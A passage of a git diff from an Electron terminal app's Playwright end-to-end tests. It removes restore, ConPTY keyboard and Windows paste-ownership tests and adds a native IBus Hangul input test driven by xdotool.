Electron window') - } - window.show() - window.setFullScreen(true) - }) - await expect - .poll( - async () => ({ - fullscreen: await app.evaluate( - ({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.isFullScreen() ?? false - ), - size: await page.evaluate(() => ({ width: innerWidth, height: innerHeight })) - }), - { timeout: 15_000 } - ) - .toMatchObject({ - fullscreen: true, - size: { width: expect.any(Number), height: expect.any(Number) } - }) - await page.waitForTimeout(1_200) -} - -async function createActiveDecoyTab(page: Page, worktreeId: string): Promise { - await page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - }, worktreeId) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) -} - -async function findRestoredTabForPty(page: Page, ptyId: string): Promise { - return page.evaluate((ptyId) => { - const layouts = window.__store?.getState().terminalLayoutsByTabId ?? {} - for (const [tabId, layout] of Object.entries(layouts)) { - if (Object.values(layout.ptyIdsByLeafId ?? {}).includes(ptyId)) { - return tabId - } - } - return null - }, ptyId) -} - -async function activateTabWithoutFocus(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - store.getState().setActiveTabType('terminal', store.getState().activeWorktreeId) - store.getState().setActiveTab(tabId) - }, tabId) -} - -async function probePane(page: Page, tabId: string, ptyId: string): Promise { - return page.evaluate( - ({ tabId, ptyId }) => { - const pane = window.__paneManagers - ?.get(tabId) - ?.getPanes?.() - .find((candidate) => candidate.container.dataset.ptyId === ptyId) - if (!pane) { - return null - } - let proposed: { cols: number; rows: number } | null = null - try { - proposed = pane.fitAddon.proposeDimensions() ?? null - } catch { - proposed = null - } - const rect = pane.container.getBoundingClientRect() - return { - content: pane.serializeAddon.serialize(), - cols: pane.terminal.cols, - rows: pane.terminal.rows, - proposed, - rect: { width: rect.width, height: rect.height } - } - }, - { tabId, ptyId } - ) -} - -test.describe.configure({ mode: 'serial' }) - -test('restored hidden split drains live alternate-screen output without a click @headful', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns both app launches. -{}, testInfo) => { - test.setTimeout(300_000) - test.skip(process.platform === 'win32', 'The streaming fixture uses a POSIX shell command') - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - - const scriptPath = testInfo.outputPath('streaming-tui.mjs') - const heartbeatPath = testInfo.outputPath('streaming-tui-heartbeat.txt') - writeStreamingTui(scriptPath) - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - try { - const first = await session.launch() - firstApp = first.app - await setFullscreen(first.app, first.page) - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await waitForActiveWorktree(first.page) - await ensureTerminalVisible(first.page) - await waitForActiveTerminalManager(first.page, 30_000) - await waitForPaneCount(first.page, 1, 30_000) - - await splitActiveTerminalPane(first.page, 'horizontal') - await waitForPaneCount(first.page, 2, 30_000) - const split = await waitForPaneIdentitySnapshot(first.page, 2) - const streamingPane = split.panes.find((pane) => pane.leafId === split.activeLeafId) - const streamingPtyId = streamingPane?.ptyId - if (!streamingPtyId) { - throw new Error('Split did not expose its active PTY') - } - expect(streamingPtyId).toContain(PTY_SESSION_ID_SEPARATOR) - await execInTerminal( - first.page, - streamingPtyId, - `node ${JSON.stringify(scriptPath)} ${JSON.stringify(heartbeatPath)}` - ) - await expect - .poll( - async () => - frameNumber((await probePane(first.page, split.tabId, streamingPtyId))?.content ?? ''), - { - timeout: 20_000, - message: 'Streaming TUI did not start in the split pane' - } - ) - .toBeGreaterThan(5) - - // Hide the split tab before quit so relaunch restores the same cold-view boundary as the field incident. - await createActiveDecoyTab(first.page, worktreeId) - await first.page.waitForTimeout(1_000) - const beforeCloseHeartbeat = heartbeatNumber(heartbeatPath) - await session.close(firstApp) - firstApp = null - await new Promise((resolve) => setTimeout(resolve, 750)) - expect(heartbeatNumber(heartbeatPath)).toBeGreaterThan(beforeCloseHeartbeat) - - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - await waitForActiveWorktree(second.page) - await ensureTerminalVisible(second.page) - - let restoredTabId: string | null = null - await expect - .poll( - async () => { - restoredTabId = await findRestoredTabForPty(second.page, streamingPtyId) - return restoredTabId - }, - { timeout: 20_000, message: 'Persisted split PTY was not restored into a tab layout' } - ) - .not.toBeNull() - await activateTabWithoutFocus(second.page, restoredTabId!) - await waitForActiveTerminalManager(second.page, 30_000) - await waitForPaneCount(second.page, 2, 30_000) - - const initial = await probePane(second.page, restoredTabId!, streamingPtyId) - expect(initial, 'Streaming pane did not remount after tab activation').not.toBeNull() - const initialFrame = frameNumber(initial!.content) - const initialHeartbeat = heartbeatNumber(heartbeatPath) - await second.page.waitForTimeout(2_000) - const later = await probePane(second.page, restoredTabId!, streamingPtyId) - const laterHeartbeat = heartbeatNumber(heartbeatPath) - - expect( - laterHeartbeat, - 'Fixture process stopped instead of exercising live output' - ).toBeGreaterThan(initialHeartbeat + 20) - expect(later?.rect.width ?? 0).toBeGreaterThan(0) - expect(later?.rect.height ?? 0).toBeGreaterThan(0) - expect(later?.proposed).toEqual({ cols: later?.cols, rows: later?.rows }) - expect( - frameNumber(later?.content ?? ''), - `Renderer frame did not advance while daemon heartbeat moved ${initialHeartbeat} -> ${laterHeartbeat}; initial=${JSON.stringify(initial)} later=${JSON.stringify(later)}` - ).toBeGreaterThan(initialFrame + 20) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/terminal-windows-conpty-keyboard-reset.spec.ts b/tests/e2e/terminal-windows-conpty-keyboard-reset.spec.ts deleted file mode 100644 index 6c384fd6d2c..00000000000 --- a/tests/e2e/terminal-windows-conpty-keyboard-reset.spec.ts +++ /dev/null @@ -1,109 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - configureGoldenStubAgent, - getGoldenStubAgentLaunchEnv, - GOLDEN_STUB_EXIT_MARKER, - launchGoldenStubAgentFromNewTab -} from './helpers/golden-stub-agent' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - waitForActivePanePtyId, - waitForTerminalOutput -} from './helpers/terminal' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWriteEntries -} from './helpers/terminal-pty-write-spy' - -test.use({ launchEnv: getGoldenStubAgentLaunchEnv() }) -test.skip(process.platform !== 'win32', 'A real Windows ConPTY is required') - -async function getKittyKeyboardFlags(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const pane = tabId ? window.__paneManagers?.get(tabId)?.getActivePane?.() : null - const terminal = pane?.terminal as - | { - core?: { coreService?: { kittyKeyboard?: { flags?: number } } } - _core?: { coreService?: { kittyKeyboard?: { flags?: number } } } - } - | undefined - return ( - terminal?.core?.coreService?.kittyKeyboard?.flags ?? - terminal?._core?.coreService?.kittyKeyboard?.flags ?? - null - ) - }) -} - -test('resets standard keyboard bytes after a protocol-mode agent exits on ConPTY', async ({ - electronApp, - orcaPage -}) => { - await installTerminalPtyWriteSpy(electronApp) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - // Grok is the supported native ConPTY exception to Kitty protocol withholding. - await configureGoldenStubAgent(orcaPage, { - agent: 'grok', - agentArgs: '--keyboard-protocol --grok' - }) - await launchGoldenStubAgentFromNewTab(orcaPage, /^Grok(?:\s|$)/i) - - const ptyId = await waitForActivePanePtyId(orcaPage) - await expect.poll(() => getKittyKeyboardFlags(orcaPage), { timeout: 10_000 }).toBe(1) - - await clearTerminalPtyWriteLog(electronApp) - // Kitty flag 1 preserves plain Enter; modified Enter proves CSI-u input. - await orcaPage.keyboard.press('Shift+Enter') - await orcaPage.keyboard.type('exit') - await orcaPage.keyboard.press('Enter') - await waitForTerminalOutput(orcaPage, GOLDEN_STUB_EXIT_MARKER, 15_000) - const protocolWrites = (await readTerminalPtyWriteEntries(electronApp)) - .filter((entry) => entry.id === ptyId) - .map((entry) => entry.data) - .join('') - expect(protocolWrites).toContain('\x1b[13;2u') - expect(protocolWrites).toContain('\r') - await expect.poll(() => getKittyKeyboardFlags(orcaPage), { timeout: 10_000 }).toBe(0) - - await clearTerminalPtyWriteLog(electronApp) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.type("Write-Output ('CONPTY_KEYBOARD_' + '") - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), 'REET_') - await orcaPage.keyboard.press('Control+V') - await orcaPage.keyboard.press('ArrowLeft') - await orcaPage.keyboard.press('ArrowLeft') - await orcaPage.keyboard.press('ArrowLeft') - await orcaPage.keyboard.type('S') - await orcaPage.keyboard.press('ArrowRight') - await orcaPage.keyboard.press('ArrowRight') - await orcaPage.keyboard.press('ArrowRight') - await orcaPage.keyboard.type('EXECUTEX') - await orcaPage.keyboard.press('Backspace') - await orcaPage.keyboard.type("D')") - await orcaPage.keyboard.press('Enter') - await waitForTerminalOutput(orcaPage, 'CONPTY_KEYBOARD_RESET_EXECUTED', 15_000) - - const shellWrites = (await readTerminalPtyWriteEntries(electronApp)) - .filter((entry) => entry.id === ptyId) - .map((entry) => entry.data) - const joinedShellWrites = shellWrites.join('') - expect(joinedShellWrites).toContain('REET_') - expect(shellWrites.filter((data) => data === '\x1b[D')).toHaveLength(3) - expect(shellWrites.filter((data) => data === '\x1b[C')).toHaveLength(3) - expect(shellWrites).toContain('\x7f') - expect(shellWrites).toContain('\r') - expect(joinedShellWrites).not.toMatch(new RegExp(`${String.fromCharCode(27)}\\[\\d+(?:;\\d+)*u`)) -}) diff --git a/tests/e2e/terminal-windows-shell-paste-ownership.spec.ts b/tests/e2e/terminal-windows-shell-paste-ownership.spec.ts deleted file mode 100644 index 69193384670..00000000000 --- a/tests/e2e/terminal-windows-shell-paste-ownership.spec.ts +++ /dev/null @@ -1,312 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { execFileSync } from 'node:child_process' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import type { WINDOWS_GIT_BASH_SHELL } from '../../src/shared/shell/launch/windows-terminal-shell' -import { test, expect } from './helpers/orca-app' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' - -type WindowsPasteShell = 'cmd.exe' | 'powershell.exe' | 'wsl.exe' | typeof WINDOWS_GIT_BASH_SHELL - -function hasWslNodeRuntime(): boolean { - if (process.platform !== 'win32') { - return false - } - try { - execFileSync('wsl.exe', ['--exec', 'sh', '-lc', 'command -v node'], { - encoding: 'utf8', - stdio: 'pipe', - timeout: 15_000 - }) - return true - } catch { - return false - } -} - -function toDefaultWslPath(windowsPath: string): string { - const normalized = windowsPath.replace(/\\/g, '/') - const driveMatch = normalized.match(/^([A-Za-z]):\/?(.*)$/) - if (!driveMatch) { - throw new Error(`Cannot convert Windows path to default WSL path: ${windowsPath}`) - } - return `/mnt/${driveMatch[1].toLowerCase()}/${driveMatch[2]}` -} - -function pasteCollectScript(runId: string, sentinel: string, expectedText: string): string { - return ` -process.stdin.setEncoding('utf8') -if (process.stdin.isTTY) process.stdin.setRawMode(true) -process.stdin.resume() -let received = '' -const interrupt = String.fromCharCode(3) -const bracketStart = String.fromCharCode(27) + '[200~' -const bracketEnd = String.fromCharCode(27) + '[201~' -const expectedText = ${JSON.stringify(expectedText)} -process.stdout.write('PASTE_READY_${runId}\\n') -process.stdin.on('data', (chunk) => { - if (chunk.includes(interrupt)) { - process.exit(0) - } - received += chunk - if (!received.includes(${JSON.stringify(sentinel)})) { - return - } - const normalized = received.split(bracketStart).join('').split(bracketEnd).join('') - const status = normalized === expectedText - ? 'MATCH' - : 'MISMATCH:' + normalized.length + ':' + expectedText.length - process.stdout.write('PASTE_COMPLETE_${runId}:' + status + '\\n') -}) -` -} - -function countOccurrences(value: string, needle: string): number { - let count = 0 - let index = value.indexOf(needle) - while (index !== -1) { - count += 1 - index = value.indexOf(needle, index + needle.length) - } - return count -} - -async function createWindowsDefaultShellTerminalTab( - page: Page, - shell: WindowsPasteShell -): Promise { - const tabId = await page.evaluate(async (selectedShell) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('No active worktree') - } - - await state.updateSettings({ terminalWindowsShell: selectedShell }) - const terminal = store.getState().createTab(worktreeId) - store.getState().setActiveTab(terminal.id) - store.getState().setActiveTabType('terminal', store.getState().activeWorktreeId) - return terminal.id - }, shell) - - const tab = page.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`) - await expect(tab).toBeVisible() - await expect(tab.locator('[data-shell-icon]')).toHaveAttribute('data-shell-icon', shell) - - return tabId -} - -async function configureActiveProjectWslRuntime(page: Page): Promise { - return page.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const [wslDistro] = await window.api.wsl.listDistros() - if (!wslDistro) { - return null - } - const state = store.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('No active worktree') - } - const activeWorktree = Object.values(state.worktreesByRepo) - .flat() - .find((worktree) => worktree.id === worktreeId) - const activeProject = state.projects.find((project) => - activeWorktree ? project.sourceRepoIds.includes(activeWorktree.repoId) : false - ) - if (!activeProject) { - throw new Error('No active project') - } - - // Why: WSL is selected through project/runtime preferences now; the global - // Windows default shell setting only represents host shells. - await state.updateProject( - activeProject.id, - { - localWindowsRuntimePreference: { kind: 'wsl', distro: wslDistro } - }, - 'local' - ) - return wslDistro - }) -} - -async function createWindowsProjectRuntimeTerminalTab( - page: Page, - shell: WindowsPasteShell -): Promise { - const tabId = await page.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const worktreeId = state.activeWorktreeId - if (!worktreeId) { - throw new Error('No active worktree') - } - - const terminal = store.getState().createTab(worktreeId) - store.getState().setActiveTab(terminal.id) - store.getState().setActiveTabType('terminal', store.getState().activeWorktreeId) - return terminal.id - }) - - const tab = page.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`) - await expect(tab).toBeVisible() - await expect(tab.locator('[data-shell-icon]')).toHaveAttribute('data-shell-icon', shell) - - return tabId -} - -async function updateWindowsDefaultShellSetting( - page: Page, - shell: WindowsPasteShell -): Promise { - await page.evaluate(async (selectedShell) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - await store.getState().updateSettings({ terminalWindowsShell: selectedShell }) - }, shell) -} - -test.describe('Windows terminal shell paste ownership', () => { - test.skip(process.platform !== 'win32', 'Windows terminal shell paste coverage is Windows-only') - - test('PowerShell default terminal keyboard paste preserves exact content with one PTY owner', async ({ - electronApp, - orcaPage, - testRepoPath - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await createWindowsDefaultShellTerminalTab(orcaPage, 'powershell.exe') - await waitForActiveTerminalManager(orcaPage, 30_000) - await installTerminalPtyWriteSpy(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const sentinel = `ORCA_E2E_POWERSHELL_DONE_${runId}` - const powershellEscape = '`' - const payload = [ - `ORCA_E2E_POWERSHELL_PASTE_${runId}`, - `PowerShell metacharacters: ${powershellEscape} $ " ' ; | & < > @ { } ( )`, - 'quoted Windows path: C:\\Program Files\\Orca Test\\file name.txt', - 'cmd metacharacters preserved as text: %PATH% !PROMPT! ^ & | < >', - 'Unicode: café 你好 مرحبا 😀', - `mixed-newline-before\r\nlf-line\ncrlf-line\r\n${sentinel}` - ].join('\n') - const scriptPath = path.join(testRepoPath, `.orca-paste-powershell-shell-${runId}.mjs`) - const expectedText = payload.replace(/\r?\n/g, '\r') - writeFileSync(scriptPath, pasteCollectScript(runId, sentinel, expectedText)) - let scriptStarted = false - - try { - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - scriptStarted = true - await waitForTerminalOutput(orcaPage, `PASTE_READY_${runId}`, 10_000) - - await clearTerminalPtyWriteLog(electronApp) - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), payload) - await focusActiveTerminalInput(orcaPage) - - await orcaPage.keyboard.press('Control+V') - await waitForTerminalOutput(orcaPage, `PASTE_COMPLETE_${runId}:MATCH`, 10_000, 12_000) - - const writes = (await readTerminalPtyWrites(electronApp)).join('') - expect(countOccurrences(writes, expectedText), 'PowerShell payload PTY write count').toBe(1) - } finally { - if (scriptStarted) { - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } - rmSync(scriptPath, { force: true }) - } - }) - - test('existing WSL terminal keeps paste runtime after default shell changes', async ({ - electronApp, - orcaPage, - testRepoPath - }) => { - test.skip(!hasWslNodeRuntime(), 'WSL with node is not available on this Windows host') - - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const wslDistro = await configureActiveProjectWslRuntime(orcaPage) - test.skip(!wslDistro, 'No WSL distro is available on this Windows host') - const tabId = await createWindowsProjectRuntimeTerminalTab(orcaPage, 'wsl.exe') - await waitForActiveTerminalManager(orcaPage, 30_000) - await installTerminalPtyWriteSpy(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const sentinel = `ORCA_E2E_WSL_RETENTION_DONE_${runId}` - const payload = [ - `ORCA_E2E_WSL_RETENTION_PASTE_${runId}`, - 'Default shell changed to cmd.exe after this WSL PTY was created.', - 'POSIX path remains valid for the existing terminal: /home/user/my project/file.txt', - 'Windows path remains literal text: C:\\Users\\Name\\My Project\\file.txt', - `mixed-newline-before\r\nlf-line\ncrlf-line\r\n${sentinel}` - ].join('\n') - const scriptPath = path.join(testRepoPath, `.orca-paste-wsl-retention-${runId}.mjs`) - const expectedText = payload.replace(/\r?\n/g, '\r') - writeFileSync(scriptPath, pasteCollectScript(runId, sentinel, expectedText)) - let scriptStarted = false - - try { - await sendToTerminal( - orcaPage, - ptyId, - `node ${JSON.stringify(toDefaultWslPath(scriptPath))}\r` - ) - scriptStarted = true - await waitForTerminalOutput(orcaPage, `PASTE_READY_${runId}`, 10_000) - - // Exercise a live WSL process across the settings change. - await updateWindowsDefaultShellSetting(orcaPage, 'cmd.exe') - await expect( - orcaPage.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"] [data-shell-icon]`) - ).toHaveAttribute('data-shell-icon', 'wsl.exe') - expect(await waitForActivePanePtyId(orcaPage)).toBe(ptyId) - - await clearTerminalPtyWriteLog(electronApp) - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), payload) - await focusActiveTerminalInput(orcaPage) - - await orcaPage.keyboard.press('Control+V') - await waitForTerminalOutput(orcaPage, `PASTE_COMPLETE_${runId}:MATCH`, 10_000, 12_000) - - const writes = (await readTerminalPtyWrites(electronApp)).join('') - expect(countOccurrences(writes, expectedText), 'retained WSL payload PTY write count').toBe(1) - } finally { - if (scriptStarted) { - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } - rmSync(scriptPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts b/tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts new file mode 100644 index 00000000000..1a19fd5a949 --- /dev/null +++ b/tests/e2e/terminal/ime/terminal-ibus-hangul-native.spec.ts @@ -0,0 +1,215 @@ +import { execFileSync } from 'node:child_process' +import { randomUUID } from 'node:crypto' +import 'node:fs' + +import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' + +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../input/terminal' +import { sendToTerminal, waitForActiveTerminalManager } from '../layout/terminal-pane-operations' +import { + attachTerminalImeBoundaryEvidence, + disposeTerminalImeBoundaryProbe, + installTerminalImeBoundaryProbe, + readTerminalImeBoundaryTrace +} from './terminal-ime-boundary-probe' +import { + createTerminalImeByteReader, + removeTerminalImeByteReader, + startTerminalImeByteReader, + waitForTerminalImeBytes +} from './terminal-ime-byte-reader' +import { appendImeEngagementReceipt } from './terminal-ime-engagement-receipt' +import { presentNativeIbusWindow } from '../lifecycle/terminal-native-ibus-window' + +const DEFAULT_REPETITIONS = 30 +const MAX_REPETITIONS = 30 +const DEFAULT_KEY_DELAY_MS = 1 +const MAX_KEY_DELAY_MS = 100 +const NATIVE_COMMAND_TIMEOUT_MS = 10_000 + +test.use({ + orcaAppExtraEnv: { + GTK_IM_MODULE: 'ibus', + IBUS_ENABLE_SYNC_MODE: '1', + QT_IM_MODULE: 'ibus', + XMODIFIERS: '@im=ibus' + } +}) + +function nativeRepetitions(): number { + const parsed = Number(process.env.ORCA_E2E_NATIVE_IBUS_REPETITIONS ?? DEFAULT_REPETITIONS) + return Number.isInteger(parsed) && parsed > 0 + ? Math.min(parsed, MAX_REPETITIONS) + : DEFAULT_REPETITIONS +} + +function nativeKeyDelayMs(): number { + const parsed = Number(process.env.ORCA_E2E_NATIVE_IBUS_KEY_DELAY_MS ?? DEFAULT_KEY_DELAY_MS) + return Number.isInteger(parsed) && parsed >= 0 + ? Math.min(parsed, MAX_KEY_DELAY_MS) + : DEFAULT_KEY_DELAY_MS +} + +function runXdotool(...args: string[]): void { + execFileSync('xdotool', args, { stdio: 'pipe', timeout: NATIVE_COMMAND_TIMEOUT_MS }) +} + +async function focusNativeTerminalWindow(page: Page): Promise { + await focusActiveTerminalInput(page) + const title = `ORCA_NATIVE_IBUS_${randomUUID()}` + await page.evaluate((nextTitle) => { + document.title = nextTitle + }, title) + await expect.poll(() => page.title(), { timeout: 5_000 }).toBe(title) + + runXdotool('search', '--onlyvisible', '--name', title, 'windowfocus', '--sync') + execFileSync('ibus', ['engine', 'hangul'], { + stdio: 'pipe', + timeout: NATIVE_COMMAND_TIMEOUT_MS + }) + const engine = execFileSync('ibus', ['engine'], { + encoding: 'utf8', + timeout: NATIVE_COMMAND_TIMEOUT_MS + }).trim() + expect(engine).toBe('hangul') + return title +} + +function typeExactByteSequence(repetitions: number): void { + const delay = String(nativeKeyDelayMs()) + for (let index = 0; index < repetitions; index += 1) { + runXdotool('type', '--delay', delay, '--clearmodifiers', 'gks') + runXdotool('key', 'Hangul') + runXdotool('type', '--delay', delay, 'abc') + runXdotool('key', 'Hangul') + runXdotool('type', '--delay', delay, 'rmf') + runXdotool('key', 'Return') + } +} + +function typeSentenceSequence(repetitions: number): void { + const delay = String(nativeKeyDelayMs()) + for (let index = 0; index < repetitions; index += 1) { + runXdotool( + 'type', + '--delay', + delay, + '--clearmodifiers', + 'xptmxmfmf gkrh dlTsmsep duwjsgl rmfjsp' + ) + runXdotool('key', 'Return') + } +} + +async function runNativeIbusScenario( + electronApp: ElectronApplication, + page: Page, + testInfo: TestInfo, + testRepoPath: string, + expectedText: string, + driveInput: (repetitions: number) => void +): Promise { + await presentNativeIbusWindow(electronApp, page) + await waitForSessionReady(page) + await waitForActiveWorktree(page) + await ensureTerminalVisible(page) + await waitForActiveTerminalManager(page, 30_000) + + const repetitions = nativeRepetitions() + const ptyId = await waitForActivePanePtyId(page) + const reader = createTerminalImeByteReader(testRepoPath, repetitions) + let completed = false + let receivedBytes: string[] = [] + try { + await startTerminalImeByteReader(page, ptyId, reader) + await focusNativeTerminalWindow(page) + await installTerminalImeBoundaryProbe(page) + driveInput(repetitions) + + receivedBytes = await waitForTerminalImeBytes(page, reader, 30_000) + const trace = await readTerminalImeBoundaryTrace(page) + expect(trace.dom.some((event) => event.type === 'compositionstart')).toBe(true) + expect( + trace.dom.some( + (event) => + (event.type === 'compositionupdate' || + (event.type === 'input' && event.inputType === 'insertText')) && + /[\uac00-\ud7af]/.test(event.data ?? '') + ) + ).toBe(true) + + const expectedBytes = Buffer.from(`${expectedText}\n`).toString('hex') + expect(receivedBytes).toEqual(Array.from({ length: repetitions }, () => expectedBytes)) + + expect(trace.onData.join('')).toBe(`${expectedText}\r`.repeat(repetitions)) + // Why after the assertions: the receipt is the runner's proof this test ran against a live + // engine, so it must not exist for a run that reached here with the bytes wrong. + appendImeEngagementReceipt(testInfo.title, trace) + completed = true + } finally { + await attachTerminalImeBoundaryEvidence(page, testInfo, 'native-ibus-boundaries', { + display: process.env.DISPLAY, + expectedText, + keyDelayMs: nativeKeyDelayMs(), + receivedBytes, + repetitions + }).catch(() => undefined) + await disposeTerminalImeBoundaryProbe(page).catch(() => undefined) + if (!completed) { + await sendToTerminal(page, ptyId, '\x03').catch(() => undefined) + } + removeTerminalImeByteReader(reader) + } +} + +test.describe('Native IBus Hangul terminal input @headful', () => { + test.skip( + process.env.ORCA_E2E_NATIVE_IBUS_HANGUL !== '1', + 'Run through config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs' + ) + + test('forwards the issue exact-byte sequence without loss or duplication', async ({ + electronApp, + orcaPage, + testRepoPath + }, testInfo) => { + await runNativeIbusScenario( + electronApp, + orcaPage, + testInfo, + testRepoPath, + '한abc글', + typeExactByteSequence + ) + }) + + test('forwards the issue sentence stress sequence without leaked ASCII', async ({ + electronApp, + orcaPage, + testRepoPath + }, testInfo) => { + await runNativeIbusScenario( + electronApp, + orcaPage, + testInfo, + testRepoPath, + '테스트를 하고 있는데 여전히 그러네', + typeSentenceSequence + ) + }) +}) + +test.describe('Native IBus Hangul workspace notes @headful', () => { + test.use({ launchEnv: { ORCA_BACKGROUND_LAUNCH: '1' } }) + test.skip( + process.env.ORCA_E2E_NATIVE_IBUS_HANGUL !== '1', + 'Run through the isolated native IBus harness' + ) +}) diff --git a/tests/e2e/terminal-ime-boundary-probe.ts b/tests/e2e/terminal/ime/terminal-ime-boundary-probe.ts similarity index 100% rename from tests/e2e/terminal-ime-boundary-probe.ts rename to tests/e2e/terminal/ime/terminal-ime-boundary-probe.ts diff --git a/tests/e2e/terminal-ime-byte-reader.ts b/tests/e2e/terminal/ime/terminal-ime-byte-reader.ts similarity index 94% rename from tests/e2e/terminal-ime-byte-reader.ts rename to tests/e2e/terminal/ime/terminal-ime-byte-reader.ts index 549d82a94e0..0f36f0f8177 100644 --- a/tests/e2e/terminal-ime-byte-reader.ts +++ b/tests/e2e/terminal/ime/terminal-ime-byte-reader.ts @@ -3,7 +3,9 @@ import { rmSync, writeFileSync } from 'node:fs' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { getTerminalContent, sendToTerminal, waitForTerminalOutput } from './helpers/terminal' +import '../input/terminal' +import { sendToTerminal, waitForTerminalOutput } from '../layout/terminal-pane-operations' +import { getTerminalContent } from '../layout/terminal-pane-identity' export type TerminalImeByteReader = { expectedLineCount: number diff --git a/tests/e2e/terminal-ime-cdp-composition.ts b/tests/e2e/terminal/ime/terminal-ime-cdp-composition.ts similarity index 100% rename from tests/e2e/terminal-ime-cdp-composition.ts rename to tests/e2e/terminal/ime/terminal-ime-cdp-composition.ts diff --git a/tests/e2e/terminal-ime-dom-delivery.ts b/tests/e2e/terminal/ime/terminal-ime-dom-delivery.ts similarity index 100% rename from tests/e2e/terminal-ime-dom-delivery.ts rename to tests/e2e/terminal/ime/terminal-ime-dom-delivery.ts diff --git a/tests/e2e/terminal-ime-engagement-receipt.ts b/tests/e2e/terminal/ime/terminal-ime-engagement-receipt.ts similarity index 100% rename from tests/e2e/terminal-ime-engagement-receipt.ts rename to tests/e2e/terminal/ime/terminal-ime-engagement-receipt.ts diff --git a/tests/e2e/terminal-ime-midline-occlusion-probe.ts b/tests/e2e/terminal/ime/terminal-ime-midline-occlusion-probe.ts similarity index 100% rename from tests/e2e/terminal-ime-midline-occlusion-probe.ts rename to tests/e2e/terminal/ime/terminal-ime-midline-occlusion-probe.ts diff --git a/tests/e2e/terminal-ime-observed-event-sequences.ts b/tests/e2e/terminal/ime/terminal-ime-observed-event-sequences.ts similarity index 100% rename from tests/e2e/terminal-ime-observed-event-sequences.ts rename to tests/e2e/terminal/ime/terminal-ime-observed-event-sequences.ts diff --git a/tests/e2e/terminal-ime-pane-arena.ts b/tests/e2e/terminal/ime/terminal-ime-pane-arena.ts similarity index 83% rename from tests/e2e/terminal-ime-pane-arena.ts rename to tests/e2e/terminal/ime/terminal-ime-pane-arena.ts index d1d26cc5490..7902e20b2db 100644 --- a/tests/e2e/terminal-ime-pane-arena.ts +++ b/tests/e2e/terminal/ime/terminal-ime-pane-arena.ts @@ -1,12 +1,12 @@ import { expect, type CDPSession, type Page, type TestInfo } from '@stablyai/playwright-test' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' import { - focusActiveTerminalInput, - getTerminalContent, - sendToTerminal, - 